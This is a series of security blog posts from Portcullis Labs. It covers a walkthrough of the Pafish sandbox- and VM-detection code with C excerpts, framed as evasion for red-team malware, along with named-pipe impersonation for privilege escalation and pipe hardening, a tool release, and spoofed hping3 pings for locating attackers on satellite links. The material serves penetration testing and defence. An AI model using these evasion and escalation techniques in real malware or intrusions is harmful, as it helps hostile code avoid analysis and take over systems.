Here at Portcullis, we are frequently involved in “red team” exercises, which means we subject an organisation’s information security systems to rigorous testing and analysis. The opposite of a red team is a “blue team”. A blue team attempts to identify and stop the red team from compromising systems. One of the techniques used when red teaming is to write malicious code to test the security systems of our clients. One of the issues we face resides in the fact that we need to bypass sandbox systems that analyse our files in real-time to identify if the potentially malicious file should be blocked and Indicators Of Compromise (IOCs) generated or if the files are benign and safe. At the same time, blue teams that catch our files will try to reverse engineer them in order to understand how we may be compromising systems. Even though the last point is not really relevant for us (ultimately we’re not the bad guys), the first point is.

In order to be able to mitigate this issue, our code needs to be able to detect if it is being run inside a debugger, a Virtual Machine (VM) or a sandbox. There are some well known open source projects that are able to achieve this that are often used by malware writers. One of the most well known is called Pafish, Paranoid Fish, the code for which can be found in the Pafish GitHub repo. So I decided to take a look at the code and go through all the tricks Pafish has in order to assess if they should be incorporated in to our exercises. If our code is running inside a debugger, VM or sandbox it should deviate from it’s original path and do something legitimate or terminate immediately. If it isn’t running in any of these environments it should run it’s malicious code and infect the system.

Pafish is written in C and can be built with MinGW (gcc + make) as it says on its official GitHub web site.

To build pafish you will basically need to install mingw-w64 and make. After unziping the Pafish source code, we can see the project source has different source code files, each one used for different detection purposes.

  • Detect a debugger: debuggers.c
  • Detect a sandbox: gensandbox.c
  • Detect hooked functions: hooks.c
  • Detect VirtualBox: vbox.c
  • Detect VMWare: vmware.c
  • Detect Qemu: qemu.c
  • Detect Bochs: bochs.c
  • Detect Cuckoo: cuckoo.c
  • Detect Sandboxie: sandboxie.c
  • Detect Wine: wine.c

In the next sections I’ll take a quick look at each one of these files. As you can see some sandboxes are missing, like FireEye, AMP Threat Grid from Cisco, Maltracker from AnubisNetworks, among others. By looking at these techniques we might find insights on how to bypass them if we find one in use at our clients during our engagements.

debuggers.c

By opening debuggers.c, we can see the first method implemented by Pafish. The IsDebuggerPresent() function is a Win32 API function that can be used to determine whether the calling process is being debugged by a debugger.

Still on debuggers.c we can see another function called debug_outputdebugstring(). This uses another function from the Win32 API, OutputDebugString(). According to MSDN, this function “sends a string to the debugger for display”. This is exactly what this code does. If the application is not running under a debugger the string will be sent to system’s debugger to be displayed with the DbgPrint() function from the Windows Driver Kit (WDK). If the application is not running inside a debugger and there is no system debugger then the OutputDebugString() does nothing. If the function doesn’t return an error the process is not being debugged. Otherwise it concludes it is running inside a debugger.

gensandbox.c

Another interesting file for us is gensandbox.c. This file contains 12 functions that it uses to detect a sandbox. The first one, gensandbox_mouse_act() uses GetCursorPos() to determine the position of the mouse cursor and whether it is actively being used. According to MSDN this function “retrieves the position of the mouse cursor, in screen coordinates”. Now if you look at the function code that does the actual detection, you can see that the function first calls the GetCursorPos() function in order to receive cursor co-ordinates and saves them into the position1 variable. After that it sleeps for 2000 milliseconds (i.e. 2 seconds), and then calls the same function again, this time saving the coordinates into the position2 variable. Afterwards, the two samples of the x and y coordinates of the mouse cursor are compared to one other. This determines whether the mouse cursor has changed between the two GetCursorPos() function calls. If the position of the mouse cursor has not changed then there was no mouse activity during the sleep function. Under such circumstances, the code will conclude that it is being run within a sandbox.

Another interesting function in this file is gensandbox_username(). It uses the GetUserName function that retrieves the name of the user associated with the current thread. After that all the lower case letters are converted to upper case letters and the name is compared with the following strings:

  • SANDBOX
  • VIRUS
  • MALWARE

The strstr() function is used to detect any occurrence of the presented strings in the username. If one of the strings above is found, it means that the program is being run inside a sandbox. Otherwise it returns FALSE. This method is highly questionable but gives us some insights on how one might either bypass it (if one was part of the “red team”) or create a better sandbox (if playing for the “blue team”).

The next function, called gensandbox_path(), is using GetModuleFileName(). According to MSDN this function “retrieves the fully qualified path for the file that contains the specified module. The module must have been loaded by the current process”.

Here, the strstr() function is used to check whether the retrieved path contains any of the strings:

  • \\SAMPLE
  • \\VIRUS
  • SANDBOX

If that’s the case it concludes that it is running within a sandbox. Again, we can see multiple ways to improve this code and also get some ideas on how to apply this thinking to detect other environments even though, as you can see, it is a pretty basic technique.

gensandbox_common_names(), takes a similar approach but looks for the following strings instead:

  • sample.exe
  • malware.exe

Another interesting function is gensandbox_drive_size(). This checks if the first physical drive is larger than 60GB by using the CreateFile() and DeviceIoControl() functions. As we can read on MSDN, the CreateFile() function “creates or opens a file or I/O device. The most commonly used I/O devices are as follows: file, file stream, directory, physical disk, volume, console buffer, tape drive, communications resource, mailslot, and pipe. The function returns a handle that can be used to access the file or device for various types of I/O depending on the file or device and the flags and attributes specified”. Using a handle retrieved using the CreateFile() function call, the DeviceIoControl() function is used to send a control code directly to a specified device driver, causing the corresponding device to perform the IOCTL_DISK_GET_LENGTH_INFO operation.

Once again, this is tricky but it is almost always true these days. People don’t like to allocate that much disk space for their testing VMs.

Pafish also has a second function that plays with the size of the C drive, gensandbox_drive_size2(). It basically checks for the amount of free space on drive C. Again, this can be tricky, I’ve seen production servers (mostly databases) running out of space due to a lack of good sysadmin practices and bad planning. And yes… this happens a lot.

Another interesting function is gensandbox_uptime(). It uses GetTickCount() function to retrieve the number of milliseconds that have elapsed since the system was started (up to 49.7 days).

Once again, the assumption done here might be wrong if we think about laptops. Remember, the whole purpose of this analysis is to apply this code to our “red team” exercies, where desktop users are usually the target.

There are some more small functions inside gensandbox.c that I’d recommend you to have a look. These can also give some good insights to detect other sandboxes.

  • gensandbox_sleep_patched()
  • gensandbox_one_cpu()
  • gensandbox_one_cpu_GetSystemInfo()
  • gensandbox_less_than_onegb()
  • gensandbox_IsNativeVhdBoot()

hooks.c

The hooks.c source code only contains four small functions. Their aim is detect if any of the following functions have been hooked:

  • DeleteFileW
  • ShellExecuteExW
  • CreateProcessA

Here’s the whole code:

]
static int check_hook_m1(DWORD * dwAddress) {
	BYTE *b = (BYTE *)dwAddress;
	return (*b == 0x8b) && (*(b+1) == 0xff) ? FALSE : TRUE;
}

/* Causes FP in Win 8 */
int check_hook_DeleteFileW_m1() {
	return check_hook_m1((DWORD *)DeleteFileW);
}

int check_hook_ShellExecuteExW_m1() {
	return check_hook_m1((DWORD *)ShellExecuteExW);
}

int check_hook_CreateProcessA_m1() {
	return check_hook_m1((DWORD *)CreateProcessA);
}

Basically each one of the functions store the the address of the function (either DeleteFileW(), ShellExecuteExW() or CreateProcessA()) into the dwAddress variable of the check_hook_m1() function.

Then it checks whether the first two bytes of the function are 0xff8b, which represent the assembly instruction for jump back instruction. Usually the functions create a new stack frame upon being called, but the jmp instruction at the beginning of a function clearly indicates the function has been hooked.

vbox.c/vmware.c/qemu.c

The code to detect VirtualBox is quite extensive and there are multiple functions that look for Windows Registry keys. Here are those functions:

]
/**
* SCSI registry key check
**/
int vbox_reg_key1() {
	return pafish_exists_regkey_value_str(HKEY_LOCAL_MACHINE, "HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0", "Identifier", "VBOX");
}

/**
* SystemBiosVersion registry key check
**/
int vbox_reg_key2() {
	return pafish_exists_regkey_value_str(HKEY_LOCAL_MACHINE, "HARDWARE\\Description\\System", "SystemBiosVersion", "VBOX");
}

/**
* VirtualBox Guest Additions key check
**/
int vbox_reg_key3() {
	return pafish_exists_regkey(HKEY_LOCAL_MACHINE, "SOFTWARE\\Oracle\\VirtualBox Guest Additions");
}

/**
* VideoBiosVersion key check
**/
int vbox_reg_key4() {
	return pafish_exists_regkey_value_str(HKEY_LOCAL_MACHINE, "HARDWARE\\Description\\System", "VideoBiosVersion", "VIRTUALBOX");
}

/**
* ACPI Regkey detection
**/
int vbox_reg_key5() {
	return pafish_exists_regkey(HKEY_LOCAL_MACHINE, "HARDWARE\\ACPI\\DSDT\\VBOX__");
}

/**
* FADT ACPI Regkey detection
**/
int vbox_reg_key7() {
	return pafish_exists_regkey(HKEY_LOCAL_MACHINE, "HARDWARE\\ACPI\\FADT\\VBOX__");
}

/**
* RSDT ACPI Regkey detection
**/
int vbox_reg_key8() {
	return pafish_exists_regkey(HKEY_LOCAL_MACHINE, "HARDWARE\\ACPI\\RSDT\\VBOX__");
}

/**
* VirtualBox Services Regkey detection
**/
int vbox_reg_key9(int writelogs) {
	int res = FALSE, i;
	const int count = 5;
	char message[200];

	string strs1ount];
	strs[0] = "SYSTEM\\ControlSet001\\Services\\VBoxGuest";
	strs[1] = "SYSTEM\\ControlSet001\\Services\\VBoxMouse";
	strs[2] = "SYSTEM\\ControlSet001\\Services\\VBoxService";
	strs[3] = "SYSTEM\\ControlSet001\\Services\\VBoxSF";
	strs[4] = "SYSTEM\\ControlSet001\\Services\\VBoxVideo";
	for (i=0; i < count; i++) {
		if (pafish_exists_regkey(HKEY_LOCAL_MACHINE, strs[i])) {
			snprintf(message, sizeof(message)-sizeof(message[0]), "VirtualBox traced using Reg key HKLM\\%s", strs[i]);
			if (writelogs) write_log(message);
			res = TRUE;
		}
	}
	return res;
}

/**
* HARDWARE\\DESCRIPTION\\System SystemBiosDate == 06/23/99
**/
int vbox_reg_key10() {
	return pafish_exists_regkey_value_str(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System", "SystemBiosDate", "06/23/99");
}

The names and the code is prety self explanatory. The code is mostly based on the functions pafish_exists_regkey_value_str() and pafish_exists_regkey() and it can be foud on utils.c. Basically, it uses RegOpenKeyEx(). If the function finds the specified registry entry it will return ERROR_SUCCESS. Otherwise a value of nonzero will be returned. As stated on MSDN, the RegOpenKeyEx() function “opens the specified registry key. Note that key names are not case sensitive”.

In the VirtualBox code there’s also some other interesting tricks. Like the function vbox_sysfile1(). This function basically looks for the presence of VirtualBox drivers installed on the system. See the code below:

]
int vbox_sysfile1(int writelogs) {
	const int count = 4;
	string strs1ount];
	int res = FALSE, i = 0;
	char message[200];

	strs[0] = "C:\\WINDOWS\\system32\\drivers\\VBoxMouse.sys";
	strs[1] = "C:\\WINDOWS\\system32\\drivers\\VBoxGuest.sys";
	strs[2] = "C:\\WINDOWS\\system32\\drivers\\VBoxSF.sys";
	strs[3] = "C:\\WINDOWS\\system32\\drivers\\VBoxVideo.sys";
	for (i=0; i < count; i++) {
		if (pafish_exists_file(strs[i])) {
			snprintf(message, sizeof(message)-sizeof(message[0]), "VirtualBox traced using driver file %s", strs[i]);
			if (writelogs) write_log(message);
			res = TRUE;
		}
	}
	return res;
}

On the same line of thinking you can find the function vbox_sysfile2(). Which basically looks for the presence of specific VirtualBox DLLs. Here is the actual code:

]
int vbox_sysfile2(int writelogs) {
	const int count = 14;
	string strs1ount];
	int res = FALSE, i = 0;
	char message[200];

	strs[0] = "C:\\WINDOWS\\system32\\vboxdisp.dll";
	strs[1] = "C:\\WINDOWS\\system32\\vboxhook.dll";
	strs[2] = "C:\\WINDOWS\\system32\\vboxmrxnp.dll";
	strs[3] = "C:\\WINDOWS\\system32\\vboxogl.dll";
	strs[4] = "C:\\WINDOWS\\system32\\vboxoglarrayspu.dll";
	strs[5] = "C:\\WINDOWS\\system32\\vboxoglcrutil.dll";
	strs[6] = "C:\\WINDOWS\\system32\\vboxoglerrorspu.dll";
	strs[7] = "C:\\WINDOWS\\system32\\vboxoglfeedbackspu.dll";
	strs[8] = "C:\\WINDOWS\\system32\\vboxoglpackspu.dll";
	strs[9] = "C:\\WINDOWS\\system32\\vboxoglpassthroughspu.dll";
	strs[10] = "C:\\WINDOWS\\system32\\vboxservice.exe";
	strs[11] = "C:\\WINDOWS\\system32\\vboxtray.exe";
	strs[12] = "C:\\WINDOWS\\system32\\VBoxControl.exe";
	strs[13] = "C:\\program files\\oracle\\virtualbox guest additions\\";
	for (i = 0; i < count; i++) {
		if (pafish_exists_file(strs[i])) {
			snprintf(message, sizeof(message)-sizeof(message[0]), "VirtualBox traced using system file %s", strs[i]);
			if (writelogs) write_log(message);
			res = TRUE;
		}
	}
	return res;
}

One of the tricks mostly common used is… yes, you guessed it. Check the MAC address identifier. Here’s the code that check’s for the OUI vendor:

]
int vbox_mac() {
	/* VirtualBox mac starts with 08:00:27 */
	return pafish_check_mac_vendor("\x08\x00\x27");
}

The code for pafish_check_mac_vendor() can be found on the utils.c source file. Here’s the actual code:

]
int pafish_check_mac_vendor(char * mac_vendor) {
	unsigned long alist_size = 0, ret;

	ret = GetAdaptersAddresses(AF_UNSPEC,0,0,0,&alist_size);
	if(ret==ERROR_BUFFER_OVERFLOW) {
		IP_ADAPTER_ADDRESSES* palist = (IP_ADAPTER_ADDRESSES*)LocalAlloc(LMEM_ZEROINIT,alist_size);
		if(palist) {
			GetAdaptersAddresses(AF_UNSPEC,0,0,palist,&alist_size);
			char mac[6]={0};
			while (palist){
				if (palist->PhysicalAddressLength==0x6){
					memcpy(mac,palist->PhysicalAddress,0x6);
					if (!memcmp(mac_vendor, mac, 3)) { /* First 3 bytes are the same */
						LocalFree(palist);
						return TRUE;
					}
				}
				palist = palist->Next;
			}
			LocalFree(palist);
		}
	}
	return FALSE;
}

There are a few more tricks on the vbox.c file that shouldn’t be ignored, but I’ll ignore them for now.

As you can imagine most of the code used to fingerprint VirtualBox is used in almost identical fashion to fingerprint VMware and Qemu.Basically, the code looks for specific Windows Registry keys, specific file paths, drivers and MAC vendor.

bochs.c

One neat idea we spotted in terms of how Pafish fingerprints Bochs was to play with CPU specific featurs that are present in Bochs but not real CPU.

For example:

]
int bochs_cpu_amd1() {
	char cpu_brand[49];
	cpu_write_brand(cpu_brand);
	/* It checks the lowercase P in 'processor', an actual AMD returns Processor */
	return !memcmp(cpu_brand, "AMD Athlon(tm) processor", 24) ? TRUE : FALSE;
}

int bochs_cpu_amd2() {
	int eax;
	__asm__ volatile(".intel_syntax noprefix;"
			"xor eax, eax;"
			"cpuid;"
			"cmp ecx, 0x444d4163;" /* AMD CPU? */
			"jne b2not_detected;"
			"mov eax, 0x8fffffff;" /* query easter egg */
			"cpuid;"
			"jecxz b2detected;" /* ECX value not filled */
			"b2not_detected: xor eax, eax; jmp b2exit;"
			"b2detected: mov eax, 0x1;"
			"b2exit: nop;"
			".att_syntax;"
			: "=a"(eax));
	return eax ? TRUE : FALSE;
}

int bochs_cpu_intel1() {
	char cpu_brand[49];
	cpu_write_brand(cpu_brand);
	/* This processor name is not known to be valid in an actual CPU */
	return !memcmp(cpu_brand, "              Intel(R) Pentium(R) 4 CPU        ", 47) ? TRUE : FALSE;
}

The first and third functions bochs_cpu_amd1() and bochs_cpu_intel1() will check for typos in the processor CPU string, whilst the second, bochs_cpu_amd2() triggers an assembly level easter egg that is present in the Bochs x86 CPU emulation.

cuckoo.c

Cuckoo is an open source project and the hooks it implements are known. The code you can find on cuckoo.c is quite small and basically plays with Cuckoo TLS_HOOK_INFO. As a side note don’t forget that most Cuckoo set-ups use VirtualBox.

sandboxie.c

The trick to detect Sandboxie is quite simple:

]
int sboxie_detect_sbiedll() {
	if (GetModuleHandle("sbiedll.dll") != NULL) {
		return TRUE;
	}
	else {
		return FALSE;
	}
}

As you can see the function above tries to load the Sandboxie specific DLL called sbiedll.dll. If it succeeds Sandboxie is installed in the systems. Otherwise it is not. Pretty small test but quite effective.

wine.c

The code to detect the Wine environment is also quite small. The first function is wine_detect_get_unix_file_name():

]
int wine_detect_get_unix_file_name() {
	HMODULE k32;
	k32 = GetModuleHandle("kernel32.dll");
	if (k32 != NULL) {
		if (GetProcAddress(k32, "wine_get_unix_file_name") != NULL) {
			return TRUE;
		}
		else {
			return FALSE;
		}
	}
	else {
		return FALSE;
	}
}

It starts by getting an handle to the kernel32.dll and then calling the GetProcAddress() to retrieve the address of the function/variable wine_get_unix_file_name exported and available in the kernel32.dll. If the function succeeds it will return the address of the exported function, otherwise it will return NULL. Meaning that if doesn’t return NULL Wine has been fingerprinted and the wine_detect_get_unix_file_name returns TRUE.

The other function that Pafish implements is shown below:

]
int wine_reg_key1() {
	return pafish_exists_regkey(HKEY_CURRENT_USER, "SOFTWARE\\Wine");
}

Nothing new here, wine_reg_key1 simply looks for the presence of a Windows Registry key.

Conclusion

This short introduction to Pafish code was meant to evaluate how the code can be applied to our Red Team Exercises. Since the code/checks are not too advanced and in some cases can be completely fooled, the code should be tweaked if we want to use it in our engagements. It also doesn’t make sense to include all the checks blindly, which means a good information gathering phase must be assured before any “red team” exercise.

Anyway these different methods of checking whether the program is running under a debugger, Virtual Machine or a sandbox might be quite useful if we want to develop code for a specific environment. Looking at Pafish code certainly improves our knowledge about how to bypass some sandboxes.

Based on the code I’ve read, the most common ways to identify that we are running in a virtualized environment (running inside a debugger is not that useful to us) are:

  • Registry checks
  • Memory checks
  • Communication checks (with the host)
  • Process and file checks
  • Hardware

The post Sandbox detection: Pafish overview appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/sandbox-detection-pafish-overview/feed/ 0
Windows Named Pipes: There and back again https://labs.portcullis.co.uk/blog/windows-named-pipes-there-and-back-again/ https://labs.portcullis.co.uk/blog/windows-named-pipes-there-and-back-again/#comments Fri, 20 Nov 2015 14:04:20 +0000 https://labs.portcullis.co.uk/?p=5378 Inter Process Communication (IPC) is an ubiquitous part of modern computing. Processes often talk to each other and many software packages contain multiple components which need to exchange data to run properly. Named pipes are one of the many forms of IPC in use today and are extensively used on the Windows platform as a […]

The post Windows Named Pipes: There and back again appeared first on Portcullis Labs.

]]>
Inter Process Communication (IPC) is an ubiquitous part of modern computing. Processes often talk to each other and many software packages contain multiple components which need to exchange data to run properly. Named pipes are one of the many forms of IPC in use today and are extensively used on the Windows platform as a means to exchange data between running processes in a semi-persistent manner.

On Windows, named pipes operate in a server-client model and can make use of the Windows Universal Naming Convention (UNC) for both local and remote connections.

Named pipes on Windows use what is known as the Named Pipe File System (NPFS). The NPFS is a hidden partition which functions just like any other; files are written, read and deleted using the same mechanisms as a standard Windows file system. So named pipes are actually just files on a hard drive which persist until there are no remaining handles to the file, at which point the file is deleted by Windows.

The named pipe directory is located at: \\<machine_address>\pipe\<pipe_name>

There are many easy ways to read the contents of the local NPFS: Powershell, Microsoft SysInternals Process Explorer and Pipelist as well as numerous third party tools.

It’s also very easy to implement in a language such as C#, with a basic read all of the named pipes directory being as simple as:

System.IO.Directory.GetFiles(@"\\.\pipe\");

Exploitation of named pipes

Named pipes were introduced with NT and have been known to be vulnerable to a number of attacks over the years, especially once full support was adopted with Windows 2000. For example, the Service Control Manager (SCM) of Windows was discovered to be vulnerable to race conditions related to Named Pipes in 2000, more recently, a predictable named pipe used by Google Chrome could be exploited to help escape from the browser sandbox.

To date,the most common way to exploit named pipes to gain privileges on a system has been to abuse the impersonation token granted to the named pipe server to act on behalf of a connected client.

If the named pipe server is already running this is not particularly useful as we cannot create the primary server instance which clients will connect to, so it is generally required to preemptively create a named pipe server using the same name as the vulnerable service would normally create. This means that the user needs to know the name of the pipe before the vulnerable service is started and then wait for a client to connect. Ideal targets are services which run at administrator or SYSTEM level privileges, for the obvious reasons.

The problem with impersonation tokens begins when a client is running at a higher permission level than the server it is connecting to. If impersonation is allowed, the server can use the impersonation token to act on the client’s behalf.

The level of impersonation a server can perform depends on the level of consent a client provides. The client specifies a security quality of service (SQOS) when connecting to the server. The level of impersonation provided to the server by the SQOS can be one of the following four flags, which in the case of named pipes are provided as part of the connection process when calling the CreateFile function:

  • SECURITY_ANONYMOUS – no impersonation allowed at all. The server cannot even identify the client
  • SECURITY_IDENTIFICATION – tmpersonation is not allowed, but the server can identify the client
  • SECURITY_IMPERSONATION – the client can be both identified and impersonated, but only locally (default)
  • SECURITY_DELEGATION – the client can be identified and impersonated, both locally and remotely

When granted, impersonation tokens can be converted to primary security tokens with ease by calling the DuplicateTokenEx() function. From here it is just a matter of calling the CreateProcessAsUser() function to spawn a process (let’s say cmd.exe) using the new primary token which has the security context of the client.

Numerous Metasploit modules are available for exploiting named pipe vulnerabilities which have cropped up over the years. For example, the getsystem module in Metasploit makes use of named pipes to escalate to SYSTEM level privileges from Administrator.

Metasploit includes 2 different techniques which use named pipes to ‘get system’. The first one works by starting a named pipe server and then using administrator privileges to schedule a service to run as SYSTEM. This service connects as a named pipe client to the recently created server. The server impersonates the client and uses this to spawn a SYSTEM process for the meterpreter client.

The second technique is similar to the first, but instead a DLL is dropped to the hard drive which is then scheduled to run as SYSTEM, this technique is evidently not as clean as the first technique.

Thanks to Cristian Mikehazi for his prior research in to Metasploit’s getsystem module which made this section easier to write.

Security considerations for Named Pipes / How to make safe pipes

The security of named pipes is largely down to the developer and how they choose to implement the server and client sides of the application.

This is by no means an exhaustive list, but below details some of the good practices which should be considered whenever named pipes are to be deployed.

Server side security

The named pipe server is responsible for creating and managing a named pipe and its connected clients. Therefore, the most important element is to ensure that the named pipe server is indeed the correct server.

In this effect, there is an important flag which should be set when attempting to start new named pipe server: FILE_FLAG_FIRST_PIPE_INSTANCE.

By setting this flag it ensures that if the instance the server is attempting to create is not the first instance of the named pipe, it does not create the instance. In other words, it can give an indication as to whether another process has already created a named pipe server with this name and can allow for corrective action. This could be in the form of creating the server with an alternate name or stopping execution entirely.It is also a good idea that any intended clients are also made aware, if possible, that the server instance is not valid or has been changed so that they do not attempt to connect.

Further to this, creation of a named pipe server with a pseudo-randomly generated name can assist in ensuring any attempt by an attacker to preemptively create the server process will be unsuccessful. This is an approach the Google Chrome browser uses to help thwart unintended processes from creating the named pipe servers it uses for communication.

Another important server element is the maximum number of client instances allowed at any one time. If the maximum number of potential clients which will connect is known, a hard figure should be set to ensure that no further clients can connect. The flag which defines the maximum number of concurrent pipe instances is set as an integer value between 1 and 255 at invocation. To allow unlimited connections, the flag is set to PIPE_UNLIMITED_INSTANCES.

Client side security

Whenever a client pipe is under development, it is extremely important to consider carefully the level of privileges the pipe needs to do its job and to run it at the minimum level required.

The primary source of exploits against named pipes is through the  impersonation of client privileges by the named pipe server. The easiest and most direct way to prevent a named pipe client from being impersonated is disallow pipe impersonation when connecting to a server. This can be achieved by setting the SECURITY_IDENTIFICATION flag or the SECURITY_ANONYMOUS flag when calling the CreateFile() function as part of the client connection process.

In cases where impersonation is necessary, there are a number of other ways to ensure that only a legitimate client connects to a server. For example, in a simple application a specific sequence of information could be exchanged between the server and the client (a handshake) before any actual data is exchanged. For more advanced protection, encryption could be used. While not natively supported, public key cryptography (PKI) could be used if implemented correctly. These mechanisms are beyond the scope of this post but are worth bearing in mind.

The post Windows Named Pipes: There and back again appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/windows-named-pipes-there-and-back-again/feed/ 0
NOPC version 0.4.7 released https://labs.portcullis.co.uk/blog/nopc-version-0-4-7-released/ https://labs.portcullis.co.uk/blog/nopc-version-0-4-7-released/#comments Wed, 28 Oct 2015 14:14:21 +0000 https://labs.portcullis.co.uk/?p=5355 NOPC, the Nessus-based offline patch checker for Linux distributions and UNIX-based systems has had some changes made and been made available in our tools section. This article discusses the new features in detail and provides some working examples. Updated features and bug fixes Improvements to the interactive mode (e.g. asking for what format for results […]

The post NOPC version 0.4.7 released appeared first on Portcullis Labs.

]]>
NOPC, the Nessus-based offline patch checker for Linux distributions and UNIX-based systems has had some changes made and been made available in our tools section. This article discusses the new features in detail and provides some working examples.

Updated features and bug fixes

  • Improvements to the interactive mode (e.g. asking for what format for results to be displayed)
  • Hidden systems/distributions now displayed and re-ordered (see Usage)
  • Script consolidated back to one file
  • Testing script with shellcheck
  • Default location set for nasl and plugin directory

Usage

$ nopc.sh -?
/opt/bin/nopc.sh [Options]
Version: nopc.sh  0.4.7d
OPTIONS:
  -?: This usage page
  -d: Location of Nessus Plugins directory
  -n: Location of nasl program directory
  -s: System Type (with optional arguments)
  -l: Output Type
  -v: Version of NOPC

Where system type is one of:
 1 - AIX
 2 - HP-UX
 3 - MacOS X *
 4 - Solaris (!11) *
 5 - Debian
 6 - FreeBSD
 7 - Gentoo
 8 - Mandrake
 9 - Redhat
 10 - Redhat (Centos)
 11 - Redhat (Fedora)
 12 - Slackware
 13 - SuSE *
 14 - Ubuntu
 15 - Cisco IOS/ASA *

 * EXPERIMENTAL!!

Where output type is one of:
 0 - Displays Outdated Packages only
 1 - Displays NASL name and Outdated Packages
 2 - CSV output of CVE, KB and description (comma)
 3 - CSV output of CVE, CVSSv2, Severity, KB, Description (comma)
 4 - CSV output of CVE, KB and description (tab)
 5 - CSV output of CVE, CVSSv2, Severity, KB, Description (tab)

** Entering no parameters will run this in wizard mode walking you through the data collection for your desired system

The post NOPC version 0.4.7 released appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/nopc-version-0-4-7-released/feed/ 0
Locating SAT based C&Cs https://labs.portcullis.co.uk/blog/locating-sat-based-ccs/ https://labs.portcullis.co.uk/blog/locating-sat-based-ccs/#comments Wed, 28 Oct 2015 11:45:47 +0000 https://labs.portcullis.co.uk/?p=5280 Recently, Kaspersky published a research about how a russian APT group use hijacked satellite links to anonymise their malware command-and-control (C&C) servers (Satellite Turla: APT Command and Control in the Sky). As they say in their blog post, I researched and published how to abuse satellite DVB-S/2 internet communications, the technique used during the Epic […]

The post Locating SAT based C&Cs appeared first on Portcullis Labs.

]]>
Recently, Kaspersky published a research about how a russian APT group use hijacked satellite links to anonymise their malware command-and-control (C&C) servers (Satellite Turla: APT Command and Control in the Sky). As they say in their blog post, I researched and published how to abuse satellite DVB-S/2 internet communications, the technique used during the Epic Turla operation.

Short explanation

Satellite DVB-S/2 connections are, sometimes, unencrypted so with cheap hardware and some free software the downlink can be sniffed. By using the satellite as the downlink of an Internet connection, an attacker can use another connection which let to spoof IP address as a uplink and then have a hijacked IP from the satellite provider to use as a normal one and almost completely anonymous.

Anonymous satellite-based Internet
image-5281

One good thing about this technique is to have an anonymous broadband connection directly to the attackers base/home/server/laptop without proxies/bouncers – if you have ever used TOR, you’ll probably realise know how useful these characteristics can be.

In summary, the attackers were using satellite link to anonymise their activities and prevent them being tracked. In this blog post I’ll show some ideas to track malicious agents trying to hide behind satellite links.

The anonymous connection

What to do when these connections are being used for “bad things”? I have also tried to research about different ways to locate these rogue connections. Here are a few ideas on how to solve this challenge:

The attacker connection is also vulnerable to attacks

If an attacker is using a connection vulnerable to sniffing and “Man-In-The-Middle” attacks, the communication stay vulnerable, so we can attack these:

Sniffing Information
image-5282

Hijack communications with the systems the attacker is connecting with.

If the attacker navigate through HTTP, in some circumstances we can inject HTML or JavaScript code to get information of the target system.

Sometimes we can inject fake executable, ActiveX or Applets and try to cheat the attacker.

If the attacker system is configured as I proposed in my talk, that system can be reached with an satellite IP address, we can try to attack it.

Definitely these attacks can provide us information about the attacker but, most probably, not an address or a name.

Attack the network

Let’s redraw again the network diagram:

Bigger net diagram
image-5283

Here I draw R1 and R2, which are the routers of the ISP the attacker is using as the uplink channel of the hijacked satellite-based connection.

It’s not possible to get an IP address of the attacker because it is configured with the hijacked IP address, but, is it possible to get the IP address of R1 or R2? Getting that information can be really useful in the hunting of an attacker, remember that the target must use a local internet connection as uplink.

How can we get router IP addresses?

We can wait till the attacker do a traceroute, that can be a lot of time. We can´t control the TTL of an IP packet leaving the target host so let´s think in other way.

Record route

Another option is to ping the target and activate the record route option on IP, you can do that using hping:

# hping3 -1 IPsat -G

The record route option provides a means to record the route of an Internet packet. When an Internet module routes a packet it checks to see if the record route option is present. If it is, it inserts its own Internet address as known in the environment into which this packet is being forwarded into the recorded route.

We have it? No, this option must be activated in all routing devices, from you to the target and back, and usually this option is disabled – in a lot of years doing pentesting, I have only seen it work in a small fraction of cases.

ICMP errors

Another option I found with possibilities is to create IP traffic rejected by the uplink ISP routers (R1 or R2), and sniff the ICMP Destination Unreachable packets to get the IP of R1 or R2.

For example, pinging the satellite IP of the target from an internal address, the remote system will respond to the private IP echo with a ICMP echo response. If the traffic to that internal subnet is rejected by the uplink ISP routers, and usually it is, the routers will send an ICMP error to the satellite IP from the router own IP, so we can sniff that ICMP packet and get the IP address:

  1. We send a ping request spoofing the source address:
    # hping3 -1 IPsat -a 10.30.16.41
    

    Send spoofed PING
    image-5284
  2. The target system send a ping response to 10.30.16.41:
    Ping response from target host
    image-5285
  3. Traffic to 10.30.16.41 is not allowed so the packet is rejected by R1 to IPsat, so we can sniff that packet and know the IP of R1:
    ICMP Dest Unreachable
    image-5286

Some problems we find to use this technique:

What private IP addresses are rejected? We have to send several packets to the IP of the target, 69781, one packet per private C range or 17891228 which is the number of all private IP addressed.

Private IPs

What if the private IP addressed are filtered and not rejected? Bad luck.

The target host filter packets which come from private IP addresses via satellite interface? Bad luck.

What if the target host have filtered the ICMP ping? Please…

The idea of the target sending traffic to internal IP addresses can be exploited from several angles, for example, injecting malicious JavaScript on the targets browsers if he use it. Imagination! Imagination! Imagination!

Conclusion

So, if the attacker who is hijacking the satellite Internet connection is clever enough, this kind of connections are still anonymous. But, as I thought some attacks to break the anonymity, sure you people can follow this way.

The post Locating SAT based C&Cs appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/locating-sat-based-ccs/feed/ 0
padmin to root: Roles on AIX https://labs.portcullis.co.uk/blog/padmin-to-root-roles-on-aix/ https://labs.portcullis.co.uk/blog/padmin-to-root-roles-on-aix/#comments Fri, 02 Oct 2015 14:47:26 +0000 https://labs.portcullis.co.uk/?p=5255 Following a recent post from a consultant at IBM discussing how how privileged access should be performed on VIOS, I figured it was time to share some of our research in this arena. Those of you that are regular readers will know that I love root. For those of you that are new, welcome aboard. […]

The post padmin to root: Roles on AIX appeared first on Portcullis Labs.

]]>
Following a recent post from a consultant at IBM discussing how how privileged access should be performed on VIOS, I figured it was time to share some of our research in this arena. Those of you that are regular readers will know that I love root. For those of you that are new, welcome aboard.

Let’s start by defining what VIOS is. VIOS is a subsystem that runs on a logical partition (LPAR) which manages shared hardware such as disks and network adaptors and allows other LPARs to access them. VIOS is managed via a special padmin account which gives access to a restricted shell from where the hardware can be managed. In practice, however it’s just another AIX LPAR and as the blog post from IBM notes, setup_oem_env can be used to move from the padmin user to the root user.

